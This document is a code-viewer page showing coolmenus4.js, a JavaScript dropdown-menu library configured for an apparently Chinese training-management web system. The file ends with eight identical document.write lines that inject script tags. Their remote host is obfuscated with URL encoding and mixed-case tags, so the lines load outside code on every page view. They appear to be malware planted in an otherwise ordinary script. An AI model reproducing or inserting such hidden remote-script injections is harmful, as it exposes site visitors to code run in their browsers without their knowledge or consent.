📄 coolmenus4.js
字号:
if(i>0&&i>l-1) if(bw.op5||bw.op6) for(j=0;j<c.l[i].m.length;j++) c.m[c.l[i].m[j]].o.hideIt()
}if(i>l){for(j=0;j<c.l[i-1].arnum;j++){c.l[i-1].arr[j].hideIt(); if(bw.op6) c.l[i-1].arr[j].moveIt(-1000,-1000)}} //opera bug
}if(hide&&c.onhide) eval(c.onhide) //onhide event
}
/***Make all menu div objects**/
makeCM.prototype.makeObjects=function(nowrite,fromframe){ //Changed v4.06
var c = this,oc,name,bx,by,w,h,l,no,ar,id,nest,st=0,en=c.l.length,bobj,o,m,i,j
//Added v4.05
if(fromframe){
st = this.frameStartLevel
this.body = fromframe.document.body
this.doc = fromframe.document
this.deftarget=fromframe
this.cmpage = new cm_page(fromframe)
}else{
this.body=document.body
this.doc=document
if(this.frames) en = this.frameStartLevel
this.deftarget=self
}
if(!nowrite){
for(i=st;i<en;i++){ //changed 4.06
if(!bw.usedom) this.doc.write(c.l[i].str)
else if(i>0) this.body.appendChild(c.l[i].app)
if(!this.frames) c.l[i].str=null
}}c.z=c.zIndex+2
for(i=st;i<en;i++){oc=0
if(i!=0){bobj=c.l[i].b = new cm_makeObj(c.name + "_"+i+"_0","",c.l[i].app,this.doc); bobj.css.zIndex=c.z;
if(bw.dom) bobj.css.overflow='hidden'}; bx=c.l[i].borderX; by=c.l[i].borderY; c.l[i].max=0;
for(j=0;j<c.l[i].m.length;j++){
m = c.m[c.l[i].m[j]]; name=m.name; w=m.w; h=m.h; l=m.lev; no=m.nolink;
if(i>0){m.b = bobj; nest=i}
else{m.b = new cm_makeObj(c.name + "_"+name+"_0","",m.d1,this.doc); m.b.css.zIndex=c.z; m.b.clipTo(0,w+bx*2,h+by*2,0,1); nest=name}
id = c.name + "_"+name; nest=c.name + "_"+nest;
if(m.create){
o=m.o=new cm_makeObj(id,nest+"_0",m.d2,this.doc); o.z=o.css.zIndex=c.z+1; if(bw.reuse){c.l[l].o[oc]=o; oc++};
if(l==0&&m.img1) o.css.visibility='inherit'; if(bw.op5) o.showIt(); o.arr=0;
}if(!bw.reuse||l==0) o.clipTo(0,w,h,0,1); o.moveIt(bx,by); o.z=o.css.zIndex=c.z+2
if(j<c.l[i].arnum){
c.l[i].arr[j]=new cm_makeObj(c.name+"_a"+i+"_"+j,nest+"_0",nowrite?0:c.l[i].arr[j],this.doc)
c.l[i].arr[j].css.zIndex=c.z+30+j;
}else if(l==0&&m.arr==1){
o.arr=new cm_makeObj(id+"_a",nest+"_0",m.d3,this.doc)
o.arr.moveIt(bx+m.w-c.l[i].arrowWidth-3,by+m.h/2-(c.l[i].arrowHeight/2));
o.arr.css.zIndex=c.z+20;
}if(!no && !bw.reuse && !m.img1){
o.over=new cm_makeObj(c.name + "_"+name+"_1",nest+"_0"+".document.layers."+id,"",this.doc)
o.over.moveIt(0,0); o.over.hideIt(); o.over.clipTo(0,w,h,0,1); o.over.css.zIndex=c.z+3
img=new cm_makeObj(c.name + "_"+name+"_3",nest+"_0"+".document.layers."+id,"",this.doc); img.moveIt(0,0)
img.css.visibility="inherit"; img.css.zIndex=c.z+4; if(bw.op5) img.showIt()
}c.z++;
}
}
if(fromframe){ ///Set scroll vars - added v4.05
c.chkscroll = function(){//changed 4.06
if (bw.ie&&!bw.ie6) this.scrollY=this.body.scrollTop;
else if (bw.ie6 || bw.op7){
if (this.doc.compatMode && document.compatMode != "BackCompat") this.scrollY=this.doc.documentElement.scrollTop
else this.scrollY=this.body.scrollTop
}else this.scrollY=this.deftarget.pageYOffset;
}
}
}
/**Onmouseout**/
makeCM.prototype.mout = function(){ //Changed v4.06
var c = this; clearTimeout(c.tim); c.isover = 0; var f="if(!"+c.name+".isover)"+c.name+".hidesub()"
if(!c.closeOnClick) c.tim = setTimeout(f,c.wait)
else{
if(bw.ns4){ document.captureEvents("Event.MOUSEDOWN"); document.onmousedown=new Function(f)}
else document.onclick=new Function(f);
if(this.frames){
if(bw.ns4){this.doc.captureEvents("Event.MOUSEDOWN"); this.doc.onmousedown=new Function(f)}
else this.doc.onclick=new Function(f)
}
}
}
/**Constructing and initiating top items and bar**/
makeCM.prototype.construct=function(nowrite){ //Changed v4.06
var c=this; if(!c.l[0]||c.l[0].m.length==0) return cm_message('No menus defined');
if(!nowrite){for(var i=1;i<c.l.length;i++){c.l[i].str+="</div>"}} //Added 4.06
c.makeObjects(nowrite); cmpage = new cm_page();
var mpa,o,maxw=c.maxw,maxh=c.maxh,i,totw=c.totw,toth=c.toth,m,px=c.pxBetween
var bx=c.l[0].borderX,by=c.l[0].borderY,x=c.fromLeft,y=c.fromTop,mp=c.menuPlacement,rows=c.rows
if(rows){toth=maxh+by*2; totw=totw-px+bx;}else{totw=maxw+bx*2; toth=toth-px+by;}
switch(mp){
case "center": x=cmpage.x2/2-totw/2; if(bw.ns4) x-=9; break;
case "right": x=cmpage.x2-totw; break;
case "bottom": case "bottomcenter": y=cmpage.y2-toth; if(mp=="bottomcenter") x=cmpage.x2/2-totw/2; break;
default: if(mp.toString().indexOf(",")>-1) mpa=1; break;
}for(var i=0;i<c.l[0].m.length;i++){
m = c.m[c.l[0].m[i]]; o = m.b; if(mpa) rows?x=cm_cp(mp[i]):y=cm_cp(mp[i],0,0,1);
o.moveIt(x,y); o.showIt(); if(m.arr) m.o.arr.showIt(); o.oy=y;
if(!mpa) rows?x+=m.w+px+bx:y+=m.h+px+by
}if(c.useBar==1){ //Background-Bar
var bbx=c.barBorderX,bby=c.barBorderY;
var bar1=c.bar1= new cm_makeObj(c.name+'bbar_0',c.name+'bbar',nowrite?0:c.bar1,document)
var bar=c.bar= new cm_makeObj(c.name+'bbar','',nowrite?0:c.bar,document); bar.css.zIndex=c.zIndex+1
var barx=c.barX=="menu"?c.m[c.l[0].m[0]].b.x-bbx:cm_cp(c.barX,1);
var bary=c.barY=="menu"?c.m[c.l[0].m[0]].b.y-bby:cm_cp(c.barY);
var barw=c.barWidth=="menu"?totw:cm_cp(c.barWidth,1,bbx*2);
var barh=c.barHeight=="menu"?toth:cm_cp(c.barHeight,0,bby*2);
bar1.clipTo(0,barw,barh,0,1); bar1.moveIt(bbx,bby); bar1.showIt();
bar.clipTo(0,barw+bbx*2,barh+bby*2,0,1); bar.moveIt(barx,bary); bar.showIt();
}if(c.resizeCheck){ //Window resize code - updated 4.06 - stil sucks
if(bw.ns4||bw.op5||bw.op6)setTimeout('window.onresize=new Function("'+c.name+'.resized()")',500)
else window.onresize=new Function(c.name+".resized()")
c.resized=cm_resized; if(bw.op5||bw.op6) document.onmousemove=new Function(c.name+".resized()")
}if(c.onconstruct) eval(c.onconstruct) //onconstruct event
c.constructed = 1 //Added v4.05
return true
}
/**Capturing resize**/
var cm_inresize=0
function cm_resized(){
if(cm_inresize) return
page2=new cm_page(); var off=(bw.op6||bw.op5)?20:5
if(page2.x2<cmpage.x2-off || page2.y2<cmpage.orgy-off || page2.x2>cmpage.x2+off || page2.y2>cmpage.orgy+off){
if(bw.ie||bw.ns6||bw.op7||bw.ns4){
cmpage=page2; this.isresized=1;
if(this.onresize) eval(this.onresize); this.construct(1);
if(this.onafterresize) eval(this.onafterresize);
}else{cm_inresize=1; location.reload()}
}
}
/**Onclick of an item**/
makeCM.prototype.onclck=function(m){ //Changed v4.06
m = this.m[m]
if(m.onclck) eval(m.onclck);
if(this.openOnClick && m.subs.length>0){
this.clicked = 1; this.showsub(m.name); //return
}
var lnk=m.lnk, targ=m.targ
if(lnk){
if(lnk.indexOf("mailto")!=0 && lnk.indexOf("http")!=0) lnk=this.root+lnk
if(String(targ)=="undefined" || targ=="" || targ==0 || targ=="_self"){
if(this.frames){ //Turning of all level 1 + vars
if(this.l[0].a){
this.m[this.l[0].a].active(0,1)
this.l[0].a =0
}
for(i=this.frameStartLevel;i<this.l.length;i++){
if(this.l[i].b){
this.l[i].b.hideIt()
this.l[i].b = null
for(j=0;j<this.l[i].m.length;j++){
this.m[this.l[i].m[j]].b = null;
}
}
}
this.isover=0
}
this.deftarget.location.href=lnk
}
else if(targ=="_blank") window.open(lnk)
else if(targ=="_top" || targ=="window") top.location.href=lnk
else if(top[targ]) top[targ].location.href=lnk
else if(parent[targ]) parent[targ].location.href=lnk
}else return false
}
function showMenu(strPriv,strUrl,menuType)
{
strPriv1="首页;;考试;;考试指南;;参加考试;;成绩查询;;统计;;成绩统计;;知识点统计;;补考::1-100;;1-200;;1-200-100;;1-200-200;;1-300;;1-400;;1-400-100;;1-400-200;;1-500::1;;1;;2;;2;;1;;1;;2;;2;;1::/login_s.htm;;;;/exam/examGuide.htm;;/exam/examSelect.htm;;/exam/examResultQuery.htm;;;;;;;;";
strPriv2="首页;;咨询管理;;咨询人员登记;;添加来访信息;;咨询信息维护;;咨询信息分析;;班级管理;;班级设置;;班级新增;;班级信息维护;;学员设置;;学生新增;;学生档案管理;;反馈管理;;创建反馈表单;;填写反馈表单;;反馈标准维护;;反馈信息分析;;考试管理;;查询考试成绩;;修改考试成绩;;最新考试安排;;增加新考试;;评分策略设置;;评分策略明细设置;;财务管理;;咨询人员收费管理;;正式学员收费管理;;学员欠费通知;;财务报表分析;;系统设置;;用户设置;;角色设置;;数据字典设置::1-100;;1-200;;1-200-100;;1-200-200;;1-200-300;;1-200-400;;1-300;;1-300-100;;1-300-100-100;;1-300-100-200;;1-300-200;;1-300-200-100;;1-300-200-200;;1-400;;1-400-100;;1-400-200;;1-400-300;;1-400-400;;1-500;;1-500-100;;1-500-200;;1-500-300;;1-500-400;;1-500-500;;1-500-600;;1-600;;1-600-100;;1-600-200;;1-600-300;;1-600-400;;1-700;;1-700-100;;1-700-200;;1-700-300::1;;1;;2;;2;;2;;2;;1;;2;;3;;3;;2;;3;;3;;1;;2;;2;;2;;2;;1;;2;;2;;2;;2;;2;;2;;1;;2;;2;;2;;2;;1;;2;;2;;2::;;;;/Consultation/ConsultOfRegister.jsp;;/Consultation/ConsultationVisit.jsp;;/Consultation/ShowConsultantInfo.jsp;;;;;;;;/classManager/classes_new.jsp;;/classManager/classes_index.jsp;;;;/classManager/classes_index.jsp;;/classManager/student_index.jsp;;;;/feedback/create_select.jsp;;/feedback/feedback.jsp;;/feedback/standard_service.jsp;;/feedback/asdf.jsp;;;;/exam/StudentTestDTLAction.do?method=seeScore;;/exam/StudentTestDTLAction.do?method=score_show;;/exam/StudentTestAction.do?method=examplan;;/exam/StudentTestAction.do?method=gettestno;;/exam/TestsummaryAction.do?method=find;;/exam/testSummaryDTLAction.do?method=showMain;;;;;;;;;;;;;;/permission/userManage.jsp;;/permission/roleManage.jsp;;/DataDictionary/DataDictionaryShow.jsp";
if(menuType==1)
{
strPriv = strPriv1;
}
else if(menuType == 2)
{
strPriv = strPriv2;
}
if (strPriv.length > 0)
{
oM=new makeCM("oM"); oM.resizeCheck=0; oM.rows=1; oM.onlineRoot="";oM.offlineRoot=""; oM.pxBetween =0;
oM.fillImg="cm_fill.gif"; oM.fromTop=67; oM.fromLeft=0; oM.wait=300; oM.zIndex=400;
oM.useBar=0; oM.barWidth="100%"; oM.barHeight="menu"; oM.barX=0;oM.barY="menu"; oM.barClass="clBar";
oM.barBorderX=0; oM.barBorderY=0;oM.openOnClick=1;oM.closeOnClick=0;
oM.level[0]=new cm_makeLevel(100,20,"clT","clTover",0,0,"clB",0,"bottom",0,0,0,0,0);
oM.level[1]=new cm_makeLevel(160,23,"clS","clSover",0,0,"clBS",0,"right",0,0,strUrl + "/webep/m_arrow.gif",9,9);
oM.level[2]=new cm_makeLevel(160,23,"clS2","clS2over");
oM.level[3]=new cm_makeLevel(140,20);
// 取得用户权限;
var arrDepart = new Array();
var arrLevel = new Array();
var arrName = new Array();
var arrNo = new Array();
var sParent = new Array();
var tmpArrNo = new Array(); //替换后的编号
var newArrNo = new Array(); //处理完成后的编号
arrDepart = strPriv.split("::");
if (arrDepart.length==4){
arrName = arrDepart[0].split(";;");
arrNo = arrDepart[1].split(";;");
arrLevel = arrDepart[2].split(";;");
arrUrl = arrDepart[3].split(";;");
var iLength = arrName.length;
var i = 0;
var tmpStr = "";
//替换编号的"-"号为下划线
for(i=0;i<iLength;i++){
tmpArrNo[i] = arrNo[i].replace("-","_");
while(tmpArrNo[i].indexOf("-")>0){
tmpArrNo[i] = tmpArrNo[i].replace("-","_");
}
}
for(i=0;i<iLength;i++){
//根据级别取出上级权限编号
if (tmpArrNo[i].indexOf("_") == tmpArrNo[i].lastIndexOf("_")){
sParent[i] = "";
newArrNo[i] = "Top" + tmpArrNo[i];
}
else{
tmpStr = tmpArrNo[i].substring(0,tmpArrNo[i].lastIndexOf("_"));
if (tmpStr.lastIndexOf("_")==1){
sParent[i] = "Top" + tmpStr;
}
else{
sParent[i] = "Sub" + tmpStr;
}
newArrNo[i] = "Sub" + tmpArrNo[i];
}
//处理链接地址
if (arrUrl[i] != "null" && arrUrl[i].length>0){
arrUrl[i] = strUrl + arrUrl[i];
}
else{
arrUrl[i] = "";
}
//生成菜单
if (arrLevel[i]!=999){
oM.makeMenu(newArrNo[i],sParent[i], arrName[i],arrUrl[i],'','','','','','','','','','','status="";','status="";','status="";')
}
}
}
oM.menuPlacement=0;
oM.construct()
}
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -